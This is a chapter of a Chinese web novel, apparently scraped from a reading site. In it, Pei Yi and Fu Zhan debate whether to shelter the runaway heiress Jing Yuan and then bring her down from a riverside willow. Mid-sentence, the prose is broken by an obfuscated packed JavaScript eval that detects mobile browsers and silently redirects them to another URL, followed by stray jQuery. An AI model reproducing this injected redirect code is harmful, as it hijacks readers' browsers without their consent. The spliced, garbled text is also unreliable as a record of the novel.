默认冷灰
24号文字
方正启体

26. 第 26 章

作者:喻香本书字数:K更新时间:
    景源气呼呼地走了,留下裴仪和傅瞻面面相觑。


    “也是做过大生意的人,怎的没点气量,”傅瞻讪讪的,“还没说两句就跑了?那不是白忙活了么。


    嘿,金珠子也没带走,赔大了。”


    裴仪撇了嘴想问他今日为何阴阳怪气的,又觉得自己于商贾一途没半点了解;作为一个盟友,也不好将手伸到翊王府金库里去。


    思来想去,烦闷且焦虑,只得先说点能说的:“为什么又给齐香买首饰?前两天是犀角的耳坠子,这次是玳瑁簪子,世子大人到底有多少钱想砸出去?”


    傅瞻心道刚才当着景源,果然给自己留了三分薄面,便糊弄道:“齐香就是一孩子,难得有个喜欢的,咱又不是给不起,何苦拘着她。”


    裴仪听他语气轻慢随意,心头火起,“正因为她是聪慧的好孩子,心智纯净,我才要格外盯着。


    她今日要玳瑁簪子你说你给得起,明日要月亮你给不给?”


    她气急了,压低声音道:“后天说要京城的那张椅子呢?仗着些家底子胡乱纵容她,迟早坏事!”


    “还有,”裴仪恨恨地一拍桌子,红了眼圈,“你若是心疼她命途乖蹇,添两件首饰也未尝不可。


    但她戴金的、戴玉的,戴什么不行,非得要些扒皮剥甲、锯骨拔牙的东西!


    她是神农谷培养出来的人,怎的不见一点仁心慈爱,定是你骄纵得她忘了本!”


    傅瞻见她是真动了气,连连作揖,再也不敢说什么了。


    且说裴仪发了火,两边太阳穴突突跳得厉害。于是一手支着额头,坐在桌边休息。


    “阿裴,”傅瞻端了些清淡的吃食进来,轻声道:“松语刚才回来,说一切正常,该放的消息也放了出去。如果后日进京,消息能比我们早回去。”


    裴仪轻轻点了点头,示意自己听到了。


    “叙章,”她万般不愿,却终于疲惫地开口,“景源的事,你怎么打算?”


    傅瞻轻轻坐下,“景源是个有本事的,我知道她。


    景家以贩货郎起家,干些投机倒把、低买高卖的事驾轻就熟。后来又在场面上厮混,私底下掮客也当得来,在南边黑白两道都要卖几分面子。


    太子以前拉拢过景家,但那时景华堂身体已经不大好了,她又没及笄,就没成。


    不过逼婚的事未必全如她所言……”


    他故意卖了个关子,引得裴仪眉一挑,歪着头眨着眼示意他继续说。


    傅瞻突然有些开心,好像那惹事的玳瑁簪子已经凭空消失了一般。“你道景家为何追捕她?


    一方面是几个老不修的不想赔彩礼,另一方面是她不仅烧了祠堂,还烧了景家泰半的房契地契,如若不是发现得早,她能将整个家底子都烧穿了。


    还有,给她订婚的长辈——也不能完全算长辈,反正是拐了四五个弯的一个老头,被她直接掀翻了、提起来、架在门槛上,拿祖宗牌位活生生砸断一条腿,惨叫传了半条街。


    你且说她是个什么人吧。”


    裴仪嘶了一声,“倒是个狠主。”


    “阿裴,这等人,你敢留在身边吗?”


    晚风起了,吹得裴仪头痛欲裂。傅瞻轻手轻脚地关了窗,“先休息吧,明日再想不迟。”


    “不,”裴仪随手拉了他一把,闭上眼缓了一缓,幽幽道:“你刚才也说了,太子曾拉拢景家。如今她被南北追捕,动静甚大,太子、肃王未尝不动心思。


    她虽狠了些,才华却是实实在在的;而且此时收容,也算是雪中送炭的情分。”


    “你这是动了恻隐之心了。”


    裴仪惨然一笑,大约是头痛影响了判断力吧。


    “倒也不是,”她想为自己描补描补,勉力道:“她的底细已经被你扒得一清二楚;此时潦倒也不曾遮掩——这是她的劣势,也是把柄。


    她与景华堂当初拒绝太子,说明没有不安分的心思,算是本分的生意人,至少也是知进退的。


    商人重利,她想重回景家,必定依附翊王府,既然在同一条船上,想来是不敢造次的。


    当然,决定权在世子。


    世子若是不信她,咱们赠她些盘缠,让她往偏远处避避风头,也算是结一段善缘。”


    傅瞻见她有些窘迫,觉得可爱极了,便故意道:“可我怕她转脸就投奔了肃王。


    不如明日将她骗来,直接砍手跺脚挖眼珠,送回景家换一个人情,无本万利的好买卖,阿裴以为如何?”


    裴仪明知他在玩笑,心里依旧一惊。


    这时恰好松语敲了门进来,“大夫,世子,那位景姑娘今夜睡在了河边的柳树上。”


    裴仪好奇,“她手头紧我是懂的,不去客栈也就罢了,怎么连个土地庙都不去呢?‘河边的柳树上’算什么地方?风吹雨打的,也不怕翻个身摔下来。”


    松语却叹了口气,“土地庙夜里都是乞丐、逃犯、赌徒、盗贼,她一个小女孩子家,能去哪里呢?”


    裴仪望了望傅瞻,一言不发。


    松语掩了门出去,傅瞻便低声问:“阿裴,此处只有你我二人,我且问你,松语、齐香、段言之三人,都为了什么投奔你?谁最可信?”


    她沉吟一刻:“松语是想跟着查探五马巷霍乱的幕后、替儿子看个明白,才主动投奔的——也不排除她丧夫丧子、日子难捱,才给自己寻一条新路;


    齐香是听说我有‘独特的医术’,好奇,来学习的——但她日子不好过也是真的;


    言之倒是有些‘应记绿襦裙,处处怜芳草’的意思,想来是见我对松语、齐香和善,又懂些医术,算是我沾光他的秀晴娘子了。


    他们三人,松语熟悉市井规则,段言之缜密周全,齐香聪明有悟性,都是可信赖的伙伴。”


    “但景源不一样,”傅瞻三指在桌面上一敲,“景华堂还在世的时候,景源是天之骄子,是商业奇才,是被所有人捧在手里的心尖子、眼珠子。


    所以她的骨子里是体面的、傲气的、自负的,是不能被驯服的,也是不容被质疑和轻慢的。


    我不妨把话说得难听些,景源的才华生来就是当领袖的,却被磋磨得太少;一旦维持不了自己的所谓‘体面’,便走向极端。她现在好比是条疯狗,脾气上来玉石俱焚,已经咬了景家,后面不知几时又要发疯。


    阿裴,留下她风险太大,收益也太大。”


    裴仪叹了一口气,终是拈起金珠,起身披了件外氅,提了盏灯笼。


    傅瞻一伸手握住灯笼柄,“头痛就歇着,一条疯狗也值得你半夜去寻!”


    “一个商业天才若是睡在树上摔死了,不仅是你我的损失,也是全天下的损失,”裴仪轻声道,“她不是疯狗,她是条狼,一条山穷水尽也不与豺狗混迹的孤狼。”


    且说景源睡在河边的第六颗大柳树上,身下是潺潺的河水,水面上是粼粼的月光,第五棵树上的客人是只睡熟的喜鹊。


    景源摸着咕咕作响的肚子,心道邻居呐邻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102503|195528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    居,我若是对你不住,也请你原谅我。毕竟弱肉强食,适者生存,没什么好抱怨的。就好比我景源,若是一不小心嘎巴死在京城边上,便也化为花泥、滋养大地、绝无怨恨,只当我人微力弱、命该如此。


    这般想着,身上凉飕飕的,脑袋沉甸甸的,腹内空荡荡的,竟也昏昏欲睡起来。


    睡吧睡吧,明天早晨晒晒太阳,喝点河水,再去找个市口变变戏法,大约也就饱了。


    正此时,远远的河边突然出现了一点微光,像是最快的锥子,刺破了河岸宁静的夜。


    那光芒越来越近,渐渐能听见人的脚步声。


    喜鹊猛然被惊醒,大叫一声飞到对岸,景源心想什么人大晚上来寻晦气,连唯一的邻居都惊走了。


    正欲开口骂两句不好听的,却见来人在树下挥了挥手,欢喜道:“你快下来!小心着!”


    景源鼻内一酸,手脚一僵,差点突兀落下泪来。


    “你们来做什么?我不是忠诚的狗,配不上翊王府高门大户,”她揉了揉眼睛赌气道,“还请快回去吧,河边湿滑,两位千金贵体,摔了我可赔不起。”


    裴仪只是站在树下笑,似乎河边清新的空气和舒缓的流水声叫她的头痛缓解不少。


    傅瞻站在柳树的阴影里,提着盏风灯,看不清表情,像个沉默的守卫。


    “下来吧!”裴仪又喊,“有什么事,咱们回家说。”


    她像是个宽容温和的姐姐,仿佛无论捅了多大的篓子,都会给你塞一根鸡腿,然后抹去你脸上的灰尘,说下次可不能了,这次便算了。


    景源的眼泪突然抑制不住地往下淌,似乎这些日子的无助、孤苦、困窘、茫然统统在此时爆发。


    个没用玩意儿,她在心中唾弃自己,却哆哆嗦嗦往下爬。


    大约快冻死的人,总是会不由自主地趋向光亮与温暖吧。


    “看着看着,”裴仪提着灯招呼她,“小心别踩空了。”


    我可是十来岁就能爬九丈高桅杆的,下个树而已,至于大惊小怪的么?她在心里嘀咕着,难怪翊王府这些年毫无长进,原是因为翊王府出来的人,都这般琐碎。


    哼,一个个的不成个气候,还敢嫌弃我景大小姐。


    她一面嘟囔一面往下爬,爬到最末,竟然踩在长满青苔的鹅卵石上,“诶呦!”一声,直摔下来。


    裴仪唯恐她摔坏,赶忙丢了灯笼,一把将她抱进怀里。


    两人踉跄了几步,方才站稳。


    “阿裴留神!”傅瞻赶忙将她架住,并悄悄试图将景源从她怀里拉出来。


    景源泪如决堤,却紧紧搂着裴仪,不肯松手。


    “好了,好了,”裴仪拍了拍她的脑袋,心想一个小姑娘,经历了一连串的烂事还没崩溃,已经算心智刚强的了。


    自己跟她差不多大的时候,外科学知识点背不出来,还气得哭呢。


    可差远了。


    “姐……呜呜……”


    “行了啊,演到这份上就过了,”傅瞻一开口还是凉丝丝、酸溜溜的,像一盘沁了井水的李子,“还有,阿裴今年二十,景大小姐您贵庚二十二,别一开口就是‘姐’啊‘姐’的,这儿没你姐姐,你也从来没姐姐。”


    裴仪无奈地瞪了他一眼,又哄了好一刻,方才叫她止住了哭。


    几人回到驿站,夜已深了,幸亏松语白日里买了不少糕点,景源终于饱餐一顿。


    “好啦,大家是想今天听听我的未来规划呢,还是明天?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)